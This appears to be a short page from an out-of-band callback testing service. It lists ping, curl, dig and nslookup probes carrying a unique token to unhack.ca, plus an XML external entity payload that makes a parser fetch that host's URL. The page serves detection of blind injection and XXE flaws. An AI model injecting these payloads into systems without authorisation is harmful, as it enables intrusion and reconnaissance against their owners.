$ ping -c1 -p 00ef1fd8406703dde683590314c4ba00 unhack.ca
 
$ curl http://unhack.ca/p/ef1fd8406703dde683590314c4ba
 
$ dig ef1fd8406703dde683590314c4ba @unhack.ca
 
$ dig ef1fd8406703dde683590314c4ba.ns.unhack.ca
 
C:\> nslookup ef1fd8406703dde683590314c4ba unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ef1fd8406703dde683590314c4ba">]>
    <foo>&xxe;</foo>
Waiting for ping...